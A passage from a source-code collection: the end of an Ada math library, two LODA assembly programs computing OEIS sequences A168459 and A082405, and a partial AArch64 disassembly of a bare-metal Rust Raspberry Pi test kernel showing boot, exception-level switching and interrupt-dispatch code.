begin
return Arctan (A, 1.0, 360.0);
end ATAND;
function ATAN2D (A1, A2 : REAL) return REAL is
begin
return Arctan (A1, A2, 360.0);
end ATAN2D;
end Math_Lib;
|
programs/oeis/168/A168459.asm | karttu/loda | 1 | 99537 | ; A168459: a(n) = (10*n + 5*(-1)^n - 3)/2.
; 1,11,11,21,21,31,31,41,41,51,51,61,61,71,71,81,81,91,91,101,101,111,111,121,121,131,131,141,141,151,151,161,161,171,171,181,181,191,191,201,201,211,211,221,221,231,231,241,241,251,251,261,261,271,271,281,281,291,291,301,301,311,311,321,321,331,331,341,341,351,351,361,361,371,371,381,381,391,391,401,401,411,411,421,421,431,431,441,441,451,451,461,461,471,471,481,481,491,491,501,501,511,511,521,521,531,531,541,541,551,551,561,561,571,571,581,581,591,591,601,601,611,611,621,621,631,631,641,641,651,651,661,661,671,671,681,681,691,691,701,701,711,711,721,721,731,731,741,741,751,751,761,761,771,771,781,781,791,791,801,801,811,811,821,821,831,831,841,841,851,851,861,861,871,871,881,881,891,891,901,901,911,911,921,921,931,931,941,941,951,951,961,961,971,971,981,981,991,991,1001,1001,1011,1011,1021,1021,1031,1031,1041,1041,1051,1051,1061,1061,1071,1071,1081,1081,1091,1091,1101,1101,1111,1111,1121,1121,1131,1131,1141,1141,1151,1151,1161,1161,1171,1171,1181,1181,1191,1191,1201,1201,1211,1211,1221,1221,1231,1231,1241,1241,1251
mov $1,1
add $1,$0
div $1,2
mul $1,10
add $1,1
|
oeis/082/A082405.asm | neoneye/loda-programs | 11 | 167326 | ; A082405: a(n) = 34*a(n-1) - a(n-2); a(0)=0, a(1)=6.
; Submitted by <NAME>(s1)
; 0,6,204,6930,235416,7997214,271669860,9228778026,313506783024,10650001844790,361786555939836,12290092900109634,417501372047787720,14182756556724672846,481796221556591089044,16366888776367372354650,555992422174934068969056,18887375465171390972593254,641614773393652358999201580,21796014919919008815000260466,740422892503852647351009654264,25152582330211071001119327984510,854447376334672561390706141819076,29026058213048656016282889493864074,986031531867319631992227536649559440
lpb $0
sub $0,1
mov $1,$3
mul $1,32
add $2,1
add $2,$1
add $3,$2
lpe
mov $0,$2
mul $0,6
|
test-kernel/kernel.asm | RusPiRo/ruspiro-loader | 2 | 17931 | <filename>test-kernel/kernel.asm<gh_stars>1-10
./target/aarch64-ruspiro/release/kernel: file format elf64-littleaarch64
Disassembly of section .text:
0000000000080000 <__boot>:
80000: d53800a0 mrs x0, mpidr_el1
80004: 92400400 and x0, x0, #0x3
80008: 58000701 ldr x1, 800e8 <.SwitchReturn+0x28>
8000c: 58000722 ldr x2, 800f0 <.SwitchReturn+0x30>
80010: eb020021 subs x1, x1, x2
80014: 9b007c22 mul x2, x1, x0
80018: 58000701 ldr x1, 800f8 <.SwitchReturn+0x38>
8001c: cb22603f sub sp, x1, x2
80020: b5000120 cbnz x0, 80044 <.bss_done>
80024: 580006e0 ldr x0, 80100 <.SwitchReturn+0x40>
80028: 58000702 ldr x2, 80108 <.SwitchReturn+0x48>
8002c: cb000042 sub x2, x2, x0
80030: d344fc42 lsr x2, x2, #4
80034: b4000082 cbz x2, 80044 <.bss_done>
0000000000080038 <.bss_zero_loop>:
80038: a8817c1f stp xzr, xzr, [x0], #16
8003c: d1000442 sub x2, x2, #0x1
80040: b5ffffc2 cbnz x2, 80038 <.bss_zero_loop>
0000000000080044 <.bss_done>:
80044: 9400000b bl 80070 <__switch_el2_to_el1>
80048: 10023dc0 adr x0, 84800 <__ExceptionVectorTable>
8004c: d518c000 msr vbar_el1, x0
80050: d5381041 mrs x1, cpacr_el1
80054: d2a00600 mov x0, #0x300000 // #3145728
80058: aa000020 orr x0, x1, x0
8005c: d5181040 msr cpacr_el1, x0
80060: d53800a0 mrs x0, mpidr_el1
80064: 92400400 and x0, x0, #0x3
80068: 14001556 b 855c0 <__rust_entry>
8006c: 14000e3d b 83960 <__hang>
0000000000080070 <__switch_el2_to_el1>:
80070: d5384240 mrs x0, currentel
80074: f100101f cmp x0, #0x4
80078: 54000240 b.eq 800c0 <.SwitchReturn> // b.none
8007c: d518101f msr sctlr_el1, xzr
80080: d2b00000 mov x0, #0x80000000 // #2147483648
80084: b27f0000 orr x0, x0, #0x2
80088: d51c1100 msr hcr_el2, x0
8008c: d53c1100 mrs x0, hcr_el2
80090: d53ce102 mrs x2, cnthctl_el2
80094: b2400442 orr x2, x2, #0x3
80098: d51ce102 msr cnthctl_el2, x2
8009c: d51ce07f msr cntvoff_el2, xzr
800a0: d28078a2 mov x2, #0x3c5 // #965
800a4: d51c4002 msr spsr_el2, x2
800a8: d53c1100 mrs x0, hcr_el2
800ac: 927af000 and x0, x0, #0xffffffffffffffc7
800b0: d51c1100 msr hcr_el2, x0
800b4: 10000061 adr x1, 800c0 <.SwitchReturn>
800b8: d51c4021 msr elr_el2, x1
800bc: d69f03e0 eret
00000000000800c0 <.SwitchReturn>:
800c0: 58000281 ldr x1, 80110 <.SwitchReturn+0x50>
800c4: d53800a0 mrs x0, mpidr_el1
800c8: 92400400 and x0, x0, #0x3
800cc: 580000e2 ldr x2, 800e8 <.SwitchReturn+0x28>
800d0: 58000103 ldr x3, 800f0 <.SwitchReturn+0x30>
800d4: eb030042 subs x2, x2, x3
800d8: 9b007c42 mul x2, x2, x0
800dc: cb020020 sub x0, x1, x2
800e0: 9100001f mov sp, x0
800e4: d65f03c0 ret
800e8: 000c8640 .inst 0x000c8640 ; undefined
800ec: 00000000 .inst 0x00000000 ; undefined
800f0: 000b8640 .inst 0x000b8640 ; undefined
800f4: 00000000 .inst 0x00000000 ; undefined
800f8: 000b9640 .inst 0x000b9640 ; undefined
800fc: 00000000 .inst 0x00000000 ; undefined
80100: 00086f08 .inst 0x00086f08 ; undefined
80104: 00000000 .inst 0x00000000 ; undefined
80108: 00087060 .inst 0x00087060 ; undefined
8010c: 00000000 .inst 0x00000000 ; undefined
80110: 000c7640 .inst 0x000c7640 ; undefined
...
0000000000080120 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E>:
80120: a9bd5ffe stp x30, x23, [sp, #-48]!
80124: a9024ff4 stp x20, x19, [sp, #32]
80128: f9400013 ldr x19, [x0]
8012c: a90157f6 stp x22, x21, [sp, #16]
80130: d5033fbf dmb sy
80134: 91004275 add x21, x19, #0x10
80138: 91006276 add x22, x19, #0x18
8013c: c85ffec0 ldaxr x0, [x22]
80140: c808fedf stlxr w8, xzr, [x22]
80144: 35ffffc8 cbnz w8, 8013c <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x1c>
80148: d5033f9f dsb sy
8014c: b4000520 cbz x0, 801f0 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0xd0>
80150: c85ffea8 ldaxr x8, [x21]
80154: eb00011f cmp x8, x0
80158: 540000e1 b.ne 80174 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x54> // b.any
8015c: c808febf stlxr w8, xzr, [x21]
80160: 35ffff88 cbnz w8, 80150 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x30>
80164: d5033f9f dsb sy
80168: c8dffc08 ldar x8, [x0]
8016c: b50000c8 cbnz x8, 80184 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x64>
80170: 1400000c b 801a0 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x80>
80174: d5033f5f clrex
80178: d5033f9f dsb sy
8017c: c8dffc08 ldar x8, [x0]
80180: b4000108 cbz x8, 801a0 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x80>
80184: c85ffec9 ldaxr x9, [x22]
80188: b5000089 cbnz x9, 80198 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x78>
8018c: c809fec8 stlxr w9, x8, [x22]
80190: 35ffffa9 cbnz w9, 80184 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x64>
80194: 14000002 b 8019c <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x7c>
80198: d5033f5f clrex
8019c: d5033f9f dsb sy
801a0: f9400414 ldr x20, [x0, #8]
801a4: b40004f4 cbz x20, 80240 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x120>
801a8: f9400817 ldr x23, [x0, #16]
801ac: 52800401 mov w1, #0x20 // #32
801b0: 52800202 mov w2, #0x10 // #16
801b4: 9400005b bl 80320 <__rust_dealloc>
801b8: f94002e8 ldr x8, [x23]
801bc: aa1403e0 mov x0, x20
801c0: d63f0100 blr x8
801c4: f94006e1 ldr x1, [x23, #8]
801c8: b4000081 cbz x1, 801d8 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0xb8>
801cc: f9400ae2 ldr x2, [x23, #16]
801d0: aa1403e0 mov x0, x20
801d4: 94000053 bl 80320 <__rust_dealloc>
801d8: d5033fbf dmb sy
801dc: c85ffec0 ldaxr x0, [x22]
801e0: c808fedf stlxr w8, xzr, [x22]
801e4: 35ffffc8 cbnz w8, 801dc <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0xbc>
801e8: d5033f9f dsb sy
801ec: b5fffb20 cbnz x0, 80150 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x30>
801f0: b100067f cmn x19, #0x1
801f4: 540001e0 b.eq 80230 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x110> // b.none
801f8: 91002268 add x8, x19, #0x8
801fc: c85f7d09 ldxr x9, [x8]
80200: f1000529 subs x9, x9, #0x1
80204: c80afd09 stlxr w10, x9, [x8]
80208: 35ffffaa cbnz w10, 801fc <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0xdc>
8020c: 54000121 b.ne 80230 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E+0x110> // b.any
80210: d50339bf dmb ishld
80214: aa1303e0 mov x0, x19
80218: a9424ff4 ldp x20, x19, [sp, #32]
8021c: 52800401 mov w1, #0x20 // #32
80220: 52800102 mov w2, #0x8 // #8
80224: a94157f6 ldp x22, x21, [sp, #16]
80228: a8c35ffe ldp x30, x23, [sp], #48
8022c: 1400003d b 80320 <__rust_dealloc>
80230: a9424ff4 ldp x20, x19, [sp, #32]
80234: a94157f6 ldp x22, x21, [sp, #16]
80238: a8c35ffe ldp x30, x23, [sp], #48
8023c: d65f03c0 ret
80240: b0000020 adrp x0, 85000 <__exception_handler_default>
80244: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80248: 91221800 add x0, x0, #0x886
8024c: 52800561 mov w1, #0x2b // #43
80250: 91018042 add x2, x2, #0x60
80254: 94000817 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
80258: d4200020 brk #0x1
8025c: 00000000 .inst 0x00000000 ; undefined
0000000000080260 <_ZN6kernel3run17h851f38d9324f6dafE>:
80260: 350001e0 cbnz w0, 8029c <_ZN6kernel3run17h851f38d9324f6dafE+0x3c>
80264: f81f0ffe str x30, [sp, #-16]!
80268: b0000028 adrp x8, 85000 <__exception_handler_default>
8026c: b0000029 adrp x9, 85000 <__exception_handler_default>
80270: 52a0006a mov w10, #0x30000 // #196608
80274: 5280544b mov w11, #0x2a2 // #674
80278: 52800800 mov w0, #0x40 // #64
8027c: aa1f03e1 mov x1, xzr
80280: f9445d08 ldr x8, [x8, #2232]
80284: f944a129 ldr x9, [x9, #2368]
80288: b900010a str w10, [x8]
8028c: b900012b str w11, [x9]
80290: 9400004c bl 803c0 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E>
80294: 94000043 bl 803a0 <_ZN17ruspiro_interrupt17enable_interrupts17hffb47f8754d6d291E>
80298: f84107fe ldr x30, [sp], #16
8029c: 14000000 b 8029c <_ZN6kernel3run17h851f38d9324f6dafE+0x3c>
00000000000802a0 <__kernel_startup>:
802a0: 71000c1f cmp w0, #0x3
802a4: 540000a8 b.hi 802b8 <__kernel_startup+0x18> // b.pmore
802a8: b0000028 adrp x8, 85000 <__exception_handler_default>
802ac: 91260108 add x8, x8, #0x980
802b0: b860d900 ldr w0, [x8, w0, sxtw #2]
802b4: 1400001f b 80330 <lit_debug_led>
802b8: d65f03c0 ret
802bc: 00000000 .inst 0x00000000 ; undefined
00000000000802c0 <__kernel_run>:
802c0: 97ffffe8 bl 80260 <_ZN6kernel3run17h851f38d9324f6dafE>
802c4: d4200020 brk #0x1
...
00000000000802d0 <__irq_handler__ArmTimer>:
802d0: a9bf03fe stp x30, x0, [sp, #-16]!
802d4: b0000028 adrp x8, 85000 <__exception_handler_default>
802d8: 52800029 mov w9, #0x1 // #1
802dc: f9447508 ldr x8, [x8, #2280]
802e0: b9000109 str w9, [x8]
802e4: f94007e8 ldr x8, [sp, #8]
802e8: b4000128 cbz x8, 8030c <__irq_handler__ArmTimer+0x3c>
802ec: c85f7d09 ldxr x9, [x8]
802f0: f1000529 subs x9, x9, #0x1
802f4: c80afd09 stlxr w10, x9, [x8]
802f8: 35ffffaa cbnz w10, 802ec <__irq_handler__ArmTimer+0x1c>
802fc: 54000081 b.ne 8030c <__irq_handler__ArmTimer+0x3c> // b.any
80300: 910023e0 add x0, sp, #0x8
80304: d50339bf dmb ishld
80308: 97ffff86 bl 80120 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17h76db65d4af4c7553E>
8030c: f84107fe ldr x30, [sp], #16
80310: d65f03c0 ret
...
0000000000080320 <__rust_dealloc>:
80320: 14000288 b 80d40 <__rg_dealloc>
...
0000000000080330 <lit_debug_led>:
80330: 529999a8 mov w8, #0xcccd // #52429
80334: 52800149 mov w9, #0xa // #10
80338: 72b99988 movk w8, #0xcccc, lsl #16
8033c: 52a7e40a mov w10, #0x3f200000 // #1059061760
80340: 528000ec mov w12, #0x7 // #7
80344: 5280002d mov w13, #0x1 // #1
80348: 9ba87c08 umull x8, w0, w8
8034c: d363fd08 lsr x8, x8, #35
80350: d37ef50b lsl x11, x8, #2
80354: 1b098108 msub w8, w8, w9, w0
80358: b86a6969 ldr w9, [x11, x10]
8035c: 0b080508 add w8, w8, w8, lsl #1
80360: 1ac8218c lsl w12, w12, w8
80364: 0a2c0129 bic w9, w9, w12
80368: 1ac821a8 lsl w8, w13, w8
8036c: 2a0003ec mov w12, w0
80370: 2a080128 orr w8, w9, w8
80374: 52800389 mov w9, #0x1c // #28
80378: 72a7e409 movk w9, #0x3f20, lsl #16
8037c: d345fd8c lsr x12, x12, #5
80380: 1ac021ad lsl w13, w13, w0
80384: b82a6968 str w8, [x11, x10]
80388: b829698d str w13, [x12, x9]
8038c: d65f03c0 ret
0000000000080390 <_ZN4core3ptr44drop_in_place$LT$core..cell..BorrowError$GT$17h34d226d08f2836d5E>:
80390: d65f03c0 ret
...
00000000000803a0 <_ZN17ruspiro_interrupt17enable_interrupts17hffb47f8754d6d291E>:
803a0: d50342ff msr daifclr, #0x2
803a4: d5033fdf isb
803a8: d50341ff msr daifclr, #0x1
803ac: d5033fdf isb
803b0: d65f03c0 ret
...
00000000000803c0 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E>:
803c0: d10103ff sub sp, sp, #0x40
803c4: 12001c08 and w8, w0, #0xff
803c8: f9000bfe str x30, [sp, #16]
803cc: 7100751f cmp w8, #0x1d
803d0: a90257f6 stp x22, x21, [sp, #32]
803d4: a9034ff4 stp x20, x19, [sp, #48]
803d8: 54000720 b.eq 804bc <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xfc> // b.none
803dc: aa0103f4 mov x20, x1
803e0: 2a0003f3 mov w19, w0
803e4: 12001008 and w8, w0, #0x1f
803e8: 910073e9 add x9, sp, #0x1c
803ec: b9001fe8 str w8, [sp, #28]
803f0: a90007e9 stp x9, x1, [sp]
803f4: 373804e0 tbnz w0, #7, 80490 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xd0>
803f8: 5280600b mov w11, #0x300 // #768
803fc: f000002a adrp x10, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
80400: 53051e69 ubfx w9, w19, #5, #3
80404: 9104014a add x10, x10, #0x100
80408: 9bab292b umaddl x11, w9, w11, x10
8040c: 5280030c mov w12, #0x18 // #24
80410: 9bac2d16 umaddl x22, w8, w12, x11
80414: f8408ecb ldr x11, [x22, #8]!
80418: b500060b cbnz x11, 804d8 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0x118>
8041c: 5280600b mov w11, #0x300 // #768
80420: 2a0803e8 mov w8, w8
80424: 5280030c mov w12, #0x18 // #24
80428: 9b0b2929 madd x9, x9, x11, x10
8042c: 9b0c2515 madd x21, x8, x12, x9
80430: 92800009 mov x9, #0xffffffffffffffff // #-1
80434: f90002c9 str x9, [x22]
80438: f8410ea8 ldr x8, [x21, #16]!
8043c: b4000128 cbz x8, 80460 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xa0>
80440: c85f7d09 ldxr x9, [x8]
80444: f1000529 subs x9, x9, #0x1
80448: c80afd09 stlxr w10, x9, [x8]
8044c: 35ffffaa cbnz w10, 80440 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0x80>
80450: 54000081 b.ne 80460 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xa0> // b.any
80454: aa1503e0 mov x0, x21
80458: d50339bf dmb ishld
8045c: 940001e9 bl 80c00 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E>
80460: f94002c8 ldr x8, [x22]
80464: f90002b4 str x20, [x21]
80468: 91000508 add x8, x8, #0x1
8046c: f90002c8 str x8, [x22]
80470: 2a1303e0 mov w0, w19
80474: 94000127 bl 80910 <_ZN17ruspiro_interrupt9interface8activate17h19c53e70a7655767E>
80478: d5033fbf dmb sy
8047c: f9400bfe ldr x30, [sp, #16]
80480: a9434ff4 ldp x20, x19, [sp, #48]
80484: a94257f6 ldp x22, x21, [sp, #32]
80488: 910103ff add sp, sp, #0x40
8048c: d65f03c0 ret
80490: b4ffff14 cbz x20, 80470 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xb0>
80494: 910003e8 mov x8, sp
80498: b27d0100 orr x0, x8, #0x8
8049c: c85f7e88 ldxr x8, [x20]
804a0: f1000508 subs x8, x8, #0x1
804a4: c809fe88 stlxr w9, x8, [x20]
804a8: 35ffffa9 cbnz w9, 8049c <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xdc>
804ac: 54fffe21 b.ne 80470 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xb0> // b.any
804b0: d50339bf dmb ishld
804b4: 940001d3 bl 80c00 <_ZN5alloc4sync12Arc$LT$T$GT$9drop_slow17hb5bb0a9b365095d0E>
804b8: 17ffffee b 80470 <_ZN17ruspiro_interrupt8activate17h2db9568096015147E+0xb0>
804bc: b0000020 adrp x0, 85000 <__exception_handler_default>
804c0: f0000022 adrp x2, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
804c4: 9127a000 add x0, x0, #0x9e8
804c8: 528006a1 mov w1, #0x35 // #53
804cc: 9102e042 add x2, x2, #0xb8
804d0: 94000778 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
804d4: d4200020 brk #0x1
804d8: b0000020 adrp x0, 85000 <__exception_handler_default>
804dc: f0000023 adrp x3, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
804e0: f0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
804e4: 9126c000 add x0, x0, #0x9b0
804e8: 91026063 add x3, x3, #0x98
804ec: 91034084 add x4, x4, #0xd0
804f0: 910063e2 add x2, sp, #0x18
804f4: 52800201 mov w1, #0x10 // #16
804f8: 940005d6 bl 81c50 <_ZN4core6result13unwrap_failed17hc96e1f395f9c9207E>
804fc: d4200020 brk #0x1
0000000000080500 <__isr_default>:
80500: d10243ff sub sp, sp, #0x90
80504: b0000028 adrp x8, 85000 <__exception_handler_default>
80508: b0000029 adrp x9, 85000 <__exception_handler_default>
8050c: b000002a adrp x10, 85000 <__exception_handler_default>
80510: b000002b adrp x11, 85000 <__exception_handler_default>
80514: b000002c adrp x12, 85000 <__exception_handler_default>
80518: b000002d adrp x13, 85000 <__exception_handler_default>
8051c: f9446908 ldr x8, [x8, #2256]
80520: f944bd29 ldr x9, [x9, #2424]
80524: f9446d4a ldr x10, [x10, #2264]
80528: f944a56b ldr x11, [x11, #2376]
8052c: f944858c ldr x12, [x12, #2312]
80530: a9037bfd stp x29, x30, [sp, #48]
80534: a9046ffc stp x28, x27, [sp, #64]
80538: a90567fa stp x26, x25, [sp, #80]
8053c: a9065ff8 stp x24, x23, [sp, #96]
80540: a90757f6 stp x22, x21, [sp, #112]
80544: a9084ff4 stp x20, x19, [sp, #128]
80548: f0000033 adrp x19, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
8054c: b9400108 ldr w8, [x8]
80550: 91040273 add x19, x19, #0x100
80554: b9400129 ldr w9, [x9]
80558: b9400154 ldr w20, [x10]
8055c: b000002a adrp x10, 85000 <__exception_handler_default>
80560: b9400175 ldr w21, [x11]
80564: b000002b adrp x11, 85000 <__exception_handler_default>
80568: b940019c ldr w28, [x12]
8056c: b000002c adrp x12, 85000 <__exception_handler_default>
80570: f9447dad ldr x13, [x13, #2296]
80574: f944794a ldr x10, [x10, #2288]
80578: f9448d6b ldr x11, [x11, #2328]
8057c: f9449d8c ldr x12, [x12, #2360]
80580: b94001bd ldr w29, [x13]
80584: b000002d adrp x13, 85000 <__exception_handler_default>
80588: b940014f ldr w15, [x10]
8058c: b940017b ldr w27, [x11]
80590: b940018e ldr w14, [x12]
80594: f94495ad ldr x13, [x13, #2344]
80598: b90017ee str w14, [sp, #20]
8059c: b94001ae ldr w14, [x13]
805a0: b940014a ldr w10, [x10]
805a4: 2901abef stp w15, w10, [sp, #12]
805a8: b940016a ldr w10, [x11]
805ac: 29032bee stp w14, w10, [sp, #24]
805b0: b940018b ldr w11, [x12]
805b4: b94001aa ldr w10, [x13]
805b8: 29042beb stp w11, w10, [sp, #32]
805bc: 6a08012a ands w10, w9, w8
805c0: 540004c0 b.eq 80658 <__isr_default+0x158> // b.none
805c4: 5ac00148 rbit w8, w10
805c8: 52800316 mov w22, #0x18 // #24
805cc: 5ac01108 clz w8, w8
805d0: b27ff7eb mov x11, #0x7ffffffffffffffe // #9223372036854775806
805d4: 9bb64d17 umaddl x23, w8, w22, x19
805d8: f8408ee9 ldr x9, [x23, #8]!
805dc: eb0b013f cmp x9, x11
805e0: 54001568 b.hi 8088c <__isr_default+0x38c> // b.pmore
805e4: 52800038 mov w24, #0x1 // #1
805e8: 92f0001a mov x26, #0x7fffffffffffffff // #9223372036854775807
805ec: 1ac8230b lsl w11, w24, w8
805f0: 0a2b0159 bic w25, w10, w11
805f4: 9b164d08 madd x8, x8, x22, x19
805f8: 91000529 add x9, x9, #0x1
805fc: f90002e9 str x9, [x23]
80600: f9400900 ldr x0, [x8, #16]
80604: f9400108 ldr x8, [x8]
80608: b40000c0 cbz x0, 80620 <__isr_default+0x120>
8060c: c85f7c09 ldxr x9, [x0]
80610: 9100052a add x10, x9, #0x1
80614: c80b7c0a stxr w11, x10, [x0]
80618: 35ffffab cbnz w11, 8060c <__isr_default+0x10c>
8061c: b7f815c9 tbnz x9, #63, 808d4 <__isr_default+0x3d4>
80620: d63f0100 blr x8
80624: f94002e8 ldr x8, [x23]
80628: d1000508 sub x8, x8, #0x1
8062c: f90002e8 str x8, [x23]
80630: 34000159 cbz w25, 80658 <__isr_default+0x158>
80634: 5ac00328 rbit w8, w25
80638: 5ac01108 clz w8, w8
8063c: 9bb64d17 umaddl x23, w8, w22, x19
80640: 1ac8230a lsl w10, w24, w8
80644: 0a2a0339 bic w25, w25, w10
80648: f8408ee9 ldr x9, [x23, #8]!
8064c: eb1a013f cmp x9, x26
80650: 54fffd23 b.cc 805f4 <__isr_default+0xf4> // b.lo, b.ul, b.last
80654: 1400008e b 8088c <__isr_default+0x38c>
80658: 0a1402aa and w10, w21, w20
8065c: 3400050a cbz w10, 806fc <__isr_default+0x1fc>
80660: 5ac00148 rbit w8, w10
80664: 52800314 mov w20, #0x18 // #24
80668: 5ac01108 clz w8, w8
8066c: b27ff7ec mov x12, #0x7ffffffffffffffe // #9223372036854775806
80670: 9bb44d0b umaddl x11, w8, w20, x19
80674: f9418569 ldr x9, [x11, #776]
80678: eb0c013f cmp x9, x12
8067c: 54001088 b.hi 8088c <__isr_default+0x38c> // b.pmore
80680: 52800035 mov w21, #0x1 // #1
80684: 910c2178 add x24, x11, #0x308
80688: 1ac822ab lsl w11, w21, w8
8068c: 0a2b0156 bic w22, w10, w11
80690: 92f00017 mov x23, #0x7fffffffffffffff // #9223372036854775807
80694: 9b144d08 madd x8, x8, x20, x19
80698: 91000529 add x9, x9, #0x1
8069c: f9000309 str x9, [x24]
806a0: f9418900 ldr x0, [x8, #784]
806a4: f9418108 ldr x8, [x8, #768]
806a8: b40000c0 cbz x0, 806c0 <__isr_default+0x1c0>
806ac: c85f7c09 ldxr x9, [x0]
806b0: 9100052a add x10, x9, #0x1
806b4: c80b7c0a stxr w11, x10, [x0]
806b8: 35ffffab cbnz w11, 806ac <__isr_default+0x1ac>
806bc: b7f810c9 tbnz x9, #63, 808d4 <__isr_default+0x3d4>
806c0: d63f0100 blr x8
806c4: f9400308 ldr x8, [x24]
806c8: d1000508 sub x8, x8, #0x1
806cc: f9000308 str x8, [x24]
806d0: 34000176 cbz w22, 806fc <__isr_default+0x1fc>
806d4: 5ac002c8 rbit w8, w22
806d8: 5ac01108 clz w8, w8
806dc: 9bb44d0a umaddl x10, w8, w20, x19
806e0: 1ac822a9 lsl w9, w21, w8
806e4: 0a2902d6 bic w22, w22, w9
806e8: 910c2158 add x24, x10, #0x308
806ec: f9418549 ldr x9, [x10, #776]
806f0: eb17013f cmp x9, x23
806f4: 54fffd03 b.cc 80694 <__isr_default+0x194> // b.lo, b.ul, b.last
806f8: 14000065 b 8088c <__isr_default+0x38c>
806fc: 0a1c03aa and w10, w29, w28
80700: 3400050a cbz w10, 807a0 <__isr_default+0x2a0>
80704: 5ac00148 rbit w8, w10
80708: 52800314 mov w20, #0x18 // #24
8070c: 5ac01108 clz w8, w8
80710: b27ff7ec mov x12, #0x7ffffffffffffffe // #9223372036854775806
80714: 9bb44d0b umaddl x11, w8, w20, x19
80718: f9430569 ldr x9, [x11, #1544]
8071c: eb0c013f cmp x9, x12
80720: 54000b68 b.hi 8088c <__isr_default+0x38c> // b.pmore
80724: 52800035 mov w21, #0x1 // #1
80728: 91182178 add x24, x11, #0x608
8072c: 1ac822ab lsl w11, w21, w8
80730: 0a2b0156 bic w22, w10, w11
80734: 92f00017 mov x23, #0x7fffffffffffffff // #9223372036854775807
80738: 9b144d08 madd x8, x8, x20, x19
8073c: 91000529 add x9, x9, #0x1
80740: f9000309 str x9, [x24]
80744: f9430900 ldr x0, [x8, #1552]
80748: f9430108 ldr x8, [x8, #1536]
8074c: b40000c0 cbz x0, 80764 <__isr_default+0x264>
80750: c85f7c09 ldxr x9, [x0]
80754: 9100052a add x10, x9, #0x1
80758: c80b7c0a stxr w11, x10, [x0]
8075c: 35ffffab cbnz w11, 80750 <__isr_default+0x250>
80760: b7f80ba9 tbnz x9, #63, 808d4 <__isr_default+0x3d4>
80764: d63f0100 blr x8
80768: f9400308 ldr x8, [x24]
8076c: d1000508 sub x8, x8, #0x1
80770: f9000308 str x8, [x24]
80774: 34000176 cbz w22, 807a0 <__isr_default+0x2a0>
80778: 5ac002c8 rbit w8, w22
8077c: 5ac01108 clz w8, w8
80780: 9bb44d0a umaddl x10, w8, w20, x19
80784: 1ac822a9 lsl w9, w21, w8
80788: 0a2902d6 bic w22, w22, w9
8078c: 91182158 add x24, x10, #0x608
80790: f9430549 ldr x9, [x10, #1544]
80794: eb17013f cmp x9, x23
80798: 54fffd03 b.cc 80738 <__isr_default+0x238> // b.lo, b.ul, b.last
8079c: 1400003c b 8088c <__isr_default+0x38c>
807a0: 2941a7e8 ldp w8, w9, [sp, #12]
807a4: b94017ea ldr w10, [sp, #20]
807a8: 2a080368 orr w8, w27, w8
807ac: 53037d29 lsr w9, w9, #3
807b0: 121c0129 and w9, w9, #0x10
807b4: 2a0a0108 orr w8, w8, w10
807b8: b9401bea ldr w10, [sp, #24]
807bc: 2a0a0108 orr w8, w8, w10
807c0: 12186d08 and w8, w8, #0xffffff0f
807c4: 2a080128 orr w8, w9, w8
807c8: 2943a7ea ldp w10, w9, [sp, #28]
807cc: 53027d4a lsr w10, w10, #2
807d0: 121b014a and w10, w10, #0x20
807d4: 53017d29 lsr w9, w9, #1
807d8: 2a0a0108 orr w8, w8, w10
807dc: 121a0129 and w9, w9, #0x40
807e0: 2a090108 orr w8, w8, w9
807e4: b94027e9 ldr w9, [sp, #36]
807e8: 12190129 and w9, w9, #0x80
807ec: 2a09010a orr w10, w8, w9
807f0: 3400062a cbz w10, 808b4 <__isr_default+0x3b4>
